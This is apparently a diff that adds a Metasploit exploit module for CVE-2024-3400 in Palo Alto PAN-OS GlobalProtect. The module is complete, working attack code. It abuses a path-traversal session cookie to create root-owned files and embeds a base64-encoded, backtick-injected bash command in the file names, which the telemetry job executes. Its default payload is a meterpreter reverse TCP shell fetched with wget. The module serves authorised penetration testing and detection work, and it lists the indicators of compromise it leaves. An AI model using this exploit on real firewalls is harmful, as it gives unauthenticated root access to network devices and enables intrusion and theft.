|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + prepend Msf::Exploit::Remote::AutoCheck |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that |
| 20 | + allow an unauthenticated attacker to create arbitrarily named files and execute |
| 21 | + shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or |
| 22 | + GlobalProtect Portal enabled and telemetry collection on (default). Affected versions |
| 23 | + include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1, |
| 24 | + < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to |
| 25 | + one hour to execute, depending on how often the telemetry service is set to run. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => [ |
| 29 | + 'remmons-r7', # Metasploit module |
| 30 | + 'sfewer-r7' # Metasploit module |
| 31 | + ], |
| 32 | + 'References' => [ |
| 33 | + ['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier |
| 34 | + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory |
| 35 | + ['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation |
| 36 | + ['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis |
| 37 | + ], |
| 38 | + 'DisclosureDate' => '2024-04-12', |
| 39 | + 'Platform' => [ 'linux', 'unix' ], |
| 40 | + 'Arch' => [ARCH_CMD], |
| 41 | + 'Privileged' => true, # Executes as root on Linux |
| 42 | + 'Targets' => [ [ 'Default', {} ] ], |
| 43 | + 'DefaultOptions' => { |
| 44 | + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', |
| 45 | + 'FETCH_COMMAND' => 'WGET', |
| 46 | + 'RPORT' => 443, |
| 47 | + 'SSL' => true, |
| 48 | + 'FETCH_WRITABLE_DIR' => '/var/tmp', |
| 49 | + 'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour |
| 50 | + }, |
| 51 | + 'DefaultTarget' => 0, |
| 52 | + 'Notes' => { |
| 53 | + 'Stability' => [CRASH_SAFE], |
| 54 | + 'Reliability' => [REPEATABLE_SESSION], |
| 55 | + 'SideEffects' => [ |
| 56 | + IOC_IN_LOGS, |
| 57 | + # The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created |
| 58 | + # The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log |
| 59 | + # Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests |
| 60 | + # The "device_telemetry_*.log" files in /var/log/pan will log the command being injected |
| 61 | + ARTIFACTS_ON_DISK |
| 62 | + # Several 0 length files are created in the following directories during checks and exploitation: |
| 63 | + # - /opt/panlogs/tmp/device_telemetry/hour/ |
| 64 | + # - /opt/panlogs/tmp/device_telemetry/minute/ |
| 65 | + # - /var/appweb/sslvpndocs/global-protect/portal/fonts/ |
| 66 | + ] |
| 67 | + } |
| 68 | + ) |
| 69 | + ) |
| 70 | + |
| 71 | + register_options( |
| 72 | + [ |
| 73 | + OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']), |
| 74 | + ] |
| 75 | + ) |
| 76 | + end |
| 77 | + |
| 78 | + def check |
| 79 | + # Try to create a new empty file in an accessible directory with the exploit primitive |
| 80 | + # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory |
| 81 | + file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2" |
| 82 | + touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}") |
| 83 | + |
| 84 | + # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively |
| 85 | + res_check_created = send_request_cgi( |
| 86 | + 'method' => 'GET', |
| 87 | + 'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name) |
| 88 | + ) |
| 89 | + |
| 90 | + return CheckCode::Unknown('Connection failed') unless res_check_created |
| 91 | + |
| 92 | + res_check_not_created = send_request_cgi( |
| 93 | + 'method' => 'GET', |
| 94 | + 'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}") |
| 95 | + ) |
| 96 | + |
| 97 | + return CheckCode::Unknown('Connection failed') unless res_check_not_created |
| 98 | + |
| 99 | + if (res_check_created.code != 403) || (res_check_not_created.code != 404) |
| 100 | + return CheckCode::Safe('Arbitrary file write did not succeed') |
| 101 | + end |
| 102 | + |
| 103 | + CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted") |
| 104 | + end |
| 105 | + |
| 106 | + def touch_file(file) |
| 107 | + # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location |
| 108 | + fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';' |
| 109 | + |
| 110 | + send_request_cgi( |
| 111 | + 'method' => 'GET', |
| 112 | + 'uri' => normalize_uri(target_uri.path), |
| 113 | + 'headers' => { |
| 114 | + 'Cookie' => "SESSID=./../../../..#{file}" |
| 115 | + } |
| 116 | + ) |
| 117 | + end |
| 118 | + |
| 119 | + def exploit |
| 120 | + # Encode the shell command payload as base64, then embed it in the appropriate exploitation context |
| 121 | + # Since payloads cannot contain spaces, ${IFS} is used as a separator |
| 122 | + cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-" |
| 123 | + |
| 124 | + # Create maliciously named files in both telemetry directories that might be used by affected versions |
| 125 | + # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'. |
| 126 | + # It's possible that the payload will execute twice, but we've only observed one location working during testing |
| 127 | + files = [ |
| 128 | + "/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`", |
| 129 | + "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`" |
| 130 | + ] |
| 131 | + |
| 132 | + files.each do |file_path| |
| 133 | + vprint_status("Creating file at #{file_path}") |
| 134 | + touch_file(file_path) |
| 135 | + |
| 136 | + # Must register for clean up here instead of within touch_file, since touch_file is used in the check |
| 137 | + register_file_for_cleanup(file_path) |
| 138 | + end |
| 139 | + |
| 140 | + print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload') |
| 141 | + print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled') |
| 142 | + end |
| 143 | +end |
0 commit comments